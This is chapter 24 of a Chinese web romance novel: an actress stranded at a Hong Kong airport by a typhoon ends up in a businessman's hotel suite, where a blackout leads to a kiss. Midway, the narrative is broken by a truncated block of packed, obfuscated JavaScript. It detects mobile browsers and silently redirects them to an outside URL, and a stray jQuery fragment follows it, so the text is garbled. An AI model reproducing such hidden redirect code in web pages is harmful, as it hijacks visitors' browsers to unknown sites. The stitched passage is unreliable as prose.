24.雨夜
    闪电劈开黑沉沉的夜,紧接着便是隐隐轰鸣的雷声。

    陈泱从剧本中抬起头,拿起手机看了眼时间,差五分钟就12:00了。从下飞机到现在已经过去四个小时,她还没能走出机场。

    窗外暴雨如注,没有丝毫减弱的趋势。

    原本计划明天再来,但是预报台风突然转向,即将登陆香港。她害怕天气影响航班,仓促改签到今晚。果不其然,她们刚下飞机,台风就过境了。

    糟糕的是,雨势太大,原本联系好的租车公司以路况危险为由,拒绝临时派车过来接她们。文心不得不调出全港所有租车公司的信息,一家一家地拨过去问。

    陈泱站起来,伸了个懒腰,这么久没消息,看这样子她得做好在Lounge过夜的打算了。

    咕噜——

    摸了摸肚子,陈泱突然想起,这一整天东奔西忙的,就只喝了两杯咖啡。

    印象中,这家航司的法餐做得精致可口。越想越饿,她戴上帽子口罩,推开包厢门,往餐厅走去。

    不同于普通的机场Lounge只有自助餐,这家航司餐厅有24小时轮值的米其林主厨,专供飞行里程数和年度消费均达到五星的客户。

    陈泱挑了个角落坐下,熟练地要了一份帕尔马火腿佐奶酪,一份香煎海鲈鱼佐蛤蜊香芹汁,正纠结要不要甜点时,餐厅的门从外面被推开。

    她下意识抬眼,认出来人时,僵了一僵,随即将餐单递回给服务生,低声道:“就这些吧,可以送到包厢吗?”

    “抱歉,女士,我们不提供送餐服务。”

    陈泱只得作罢。服务生走后,她抬手将棒球帽往下压了压,又往沙发里侧挪了挪,心里暗暗祈祷:看不见我,看不见我。

    沈时昱起初确实没有看到陈泱,他乘公务机飞到半途遇上强对流,备降香港,心里记挂着第二天在新加坡的会议。

    点完餐,他扯松喉下的温莎结,问周岐:“指挥台那边怎么说?”

    “今晚不行了,只有明天重新和民航局申请了空时再走。”

    “无论如何明天上午得走。”

    他话音刚落,一道闪电落下,雨势又猛了几分,噼里啪啦地打在窗户上,似在嘲笑人类的不自量力。

    这样坏的天气,沈时昱突然想起了那个脾气和天气一样变化莫测的小姑娘。她好像这周要来香港,也不知道现在在哪儿,安不安全。

    思及此,心绪像窗外的雨雾,飘忽而松散。他眼底浮现自嘲的笑意,和她计较什么呢?

    划开手机,他直接拨通了陈泱的电话。

    嗡嗡嗡——空旷安静的餐厅里,电话震动声十分突兀。陈泱手忙脚乱地摸出手机,看见来电时,心里一慌,动作便先于意识,直接给挂断了。

    完了。小脸一垮,陈泱不抬头都能想象沈时昱此时脸色有多沉。

    但不容她细想,下一秒电话又打了进来。她捧着手机像捧着一颗滚烫的红薯,接也不是,不接也不是,正左右为难时,头顶上方响起熟悉的男声:

    “什么时候养成这个习惯的,不接我电话,嗯?”

    心跳空了一拍。她认命地抬起脸,尴尬地扯出一抹笑:“好巧啊。”

    沈时昱拉开一旁的软包椅子坐下,双手交抱于胸前,显然不打算让她敷衍过去:“为什么不接电话?”

    陈泱摸了摸鼻头,移开视线,“不小心按错了。”

    还不肯说实话。

    沈时昱耐着性子,换了个问法:“那为什么不去医馆?”

    其实不联系的这几天,陈泱也反思过,是自己太敏感了些。本来嘛,他已经不是以前的沈医生了,他要继承家业,管理一个跨国集团,忙不是很正常吗?

    每天来回翻着那几条聊天记录,都快背熟了。偶尔也会有冲动,想发条消息问他在干嘛,又想起他说没有时间,就把手机放下了。

    但这些,她都不能说。

    放在桌下的手指绞在一起,面上的笑容却甜美坦率:“我有工作呀,来不及。”

    他的目光深邃幽暗,不放过她脸上任何一丝表情的变化。好半天,他轻叹一声,像是放过她一般,顺着问下去:“在香港?”

    “嗯,九龙影城那边,有个试镜。”

    “什么时候?”

    “明天下午,”瞟了眼手机上的时间,她又纠正道,“哦不,准确说是今天下午。”

    “那怎么还在机场?”

    陈泱不乐意被他一句接一句地审问,决定反客为主:“那你呢,怎么会来香港?”

    这时,服务生送餐上来,陈泱又觉得不太饿了。她拿起刀叉,吃了一点儿就放下了。

    沈时昱蹙眉,长指在餐盘旁轻敲了两下,说:“再吃些。”

    几天没见,总感觉她又瘦了。

    陈泱摇头,不仅没吃还推远了:“你还没说呢,为什么来香港?”

    “本来要去新加坡,天气原因,备降在这里。”

    “哦,这样。”陈泱垂下眼,摆弄着桌布的蕾丝花边。

    说不上来这种感觉,空落落的,又有点厌烦。

    她在期待什么?

    无意识地抚上胸口,那里有些发痒,好像某个隐秘的深处,她的贪心在慢慢苏醒。

    她情绪低落得很明显,沈时昱开口想问,周岐轻咳一声,走了过来。

    他刚才便看见了陈泱,沈时昱起身过去后,他便自觉地留在原地。电灯泡这种事情,他这样知情识趣的人怎么会做?

    但留给这对“小情侣”的时间不多了,他只得厚着脸皮去提醒:“分公司派来接机的人到了,怎么说?”

    你未婚妻要不要一起走?

    沈时昱没回答,只是看向陈泱,她立刻明白,赶紧摆了摆手,道:“不用了,我有租车。”

    她这话实在很假,周岐都不忍揭穿。眼下香港这个天气,各种交通都停摆了,寻常的租车公司更不可能派车出来的。

    这一点沈时昱自然也清楚,对她宁愿滞留机场也不愿跟他走的选择很不满,眼神冷下来,正想把话戳破,文心推门走了进来。

    她低头看着手机,脚步匆匆,气急败坏地说:“香港人真的太不靠谱,这下雨又不是下刀子,这些租车公司就说什么也不给车。”

    “欸?沈先生,周先生?你们怎么会在这儿?”

    为什么一个脸色阴沉,另一个抿嘴憋笑?她傻乎乎地看向陈泱,后者单手撑额,完全不想理她。

    诡异的气氛里,陈泱的声音细如蚊蝇:“那就麻烦你们了。”

    -

    一行人下到停车场,两辆巴菲特S已经停在出口。

    文心跟在陈泱身后,正想上同一辆车,周岐勾住她的包带往后一拽,她脚步踉跄,差点儿摔个跟头。

    站稳后,文心回头,忿忿不平地问:“周先生,你这是做什么?”

    周岐拉开后面一辆车的车门,单手插兜,下巴往里点了点:“你坐这辆。”

    “为什么?我和泱泱坐一辆,我们就可以分开走,不耽误你们时间。”

    嘴角勾起,周岐好心跟她解释:“嗯,分开坐也不耽误,因为我们去同一家酒店。”

    沈时昱坐上来时,陈泱也提出了同样的疑问。

    他淡声道:“你们计划下榻的那家酒店从机场过去的路况很差。”

    啊?所以呢?

    陈泱不解地看过去,视线相交,沈时昱突然俯身靠过来,清隽的面容无限放大。她僵在座位上,下一秒整个人就被笼在浓郁的草本气息中。

    太近了,她微凉的鼻尖擦过他温暖的颈侧,两人同时了瑟缩一下。

    很快他退开,耳边传来“咔嗒”一声,陈泱回过神,愣愣地低头,发现身前已经系好安全带。

    沈时昱清了清嗓,和她解释:“今天去我常住的那家酒店吧,离这里很近,路上安全些。”

    心脏擂鼓似的狂跳。

    陈泱颤悠悠地说了声“好”,暗恨自己没出息,气馁地闭上眼假寐。

    -

    因为□□雨的天气,五星级的丽尔顿酒店此时也已经满房,所幸沈时昱因为这几年常往返于香港和内地,为方便包下了一间总套和几间行政套房。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12993462|136201||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >文心拿了房卡去刷电梯,陈泱跟着挪了一步,手腕就被沈时昱圈住拉了回来。

    “干嘛去?”

    经过一天的折腾,她眼皮沉沉,打了个呵欠,“回房休息啊。”

    “你和我住。”

    “哦。”她困极时特别乖,任由沈时昱牵着进了电梯。

    观光梯飞速上升,很快,耳边传来机械的女声播报:118层到了。

    酒店顶层的总套客厅,能将整个维多利亚港的夜色尽收眼底。迷离梦幻的雨夜光影映在脸上,陈泱终于清醒过来。

    她猛地睁大眼睛,看向身边的男人:“不对啊,我为什么要和你住?”

    “我有事和你说。这里有两间卧室,洗浴独立,你不用担心。”

    她倒是没什么可担心的,沈时昱这样禁欲冷情的人,就算她脱光了可能也激不起他什么兴趣。

    但老天爷,现在可是凌晨两点。

    “非得今天说不可吗?我好困。”

    她看来真的很累,沈时昱挣扎了一下。

    狠了狠心,他俯下身与她平视,面露歉疚:“抱歉,我怕夜长梦多,你先去洗个澡清醒一下?我等你。”

    陈泱是个心软的好姑娘。更何况当沈时昱用这样湿漉漉、水汪汪的眼神看着她时,她能怎么办,招架不了半点儿。

    内心长叹,短短一晚她已经向他妥协三次了,她也算理解为什么自古英雄难过美人关了。

    -

    陈泱站在花洒下,任由暖热的水流冲刷全身,带走皮肤表面残留的泡沫。突然窗外银光闪过,紧接着眼前一片漆黑。

    她惊叫了一声,很快冷静下来,猜测应该是闪电劈断了某条电线导致的。

    扯过浴袍套在身上,她摸索着走出浴室,推开卧室房门,却没有看见沈时昱的身影,也没有听见任何动静。

    寂静的黑暗里,从客厅传来“咔嚓”一声巨响,是玻璃砸成地上碎裂的声音。

    好吧,这就有点吓人了。

    她紧紧抓住门把手,做了好一会儿心理建设,才慢吞吞挪出去,声音有些颤抖:“沈时昱?是你吗?”

    没人回应。

    她又提高声量:“沈时昱!”

    雷声轰鸣,窗户被震得哗哗响。陈泱摸着走廊的墙,一点点往前走。短暂又漫长的几十秒里,她脑中有无数恐怖电影情节闪回。

    好不容易走到客厅,里面空无一人。

    她咽了咽口水,巨大的恐慌袭上心头。

    突然,又是一道白光,她被晃得闭上眼。暖热的气息传来,后颈汗毛倒竖,有人在她身后!

    “啊!!!”

    陈泱本能地向后挥拳,却被人一把握住,接着用力一拉,她重心不稳,狠狠撞过去,磕在他锁骨上。

    “嘶,”吃痛地闷哼一声,沈时昱圈住怀里的人没放,“泱泱,泱泱,别怕,是我。嘘,别怕,是我。”

    陈泱抖得像落叶,沈时昱知道吓着她了,抱得更紧了些,嘴上不停柔声哄着。

    直到感觉她稍微冷静了一点,沈时昱才慢慢放开她,弯身拦腰将人抱起,放在沙发上,“别动,我刚刚摔了个杯子,地上有玻璃渣。”

    此时他才发现,陈泱头发还是湿的,发丝凌乱地贴在她的脸上,白皙的脖颈上,水珠滴滴答答,顺着敞开的浴袍,一颗颗滚落到深处。

    他眼底闪过一丝暗色,移开视线,起身想去拿毛巾,却被她纤细的手指勾住。

    陈泱吸了吸鼻子,轻声道:“你先别走,好吗?”

    “好,我不走。”她这个样子,叫他怎么走得了?

    顺势在她对面坐下,他的膝盖抵着她的,“我吓到你了,是不是?对不起。”

    陈泱摇了摇头,目光落在他锁骨上。她刚刚磕在上面,那颗痣,好像更加赤红了些。

    鬼使神差的,她抬手摸上去,柔白的指尖微微用力,压了压那点红。

    沈时昱身形一震,喉结上下滚了滚,声音有些喑哑:“泱泱,你做什么?你……”

    下一秒,万籁俱寂。

    他的玫瑰,吻了上来。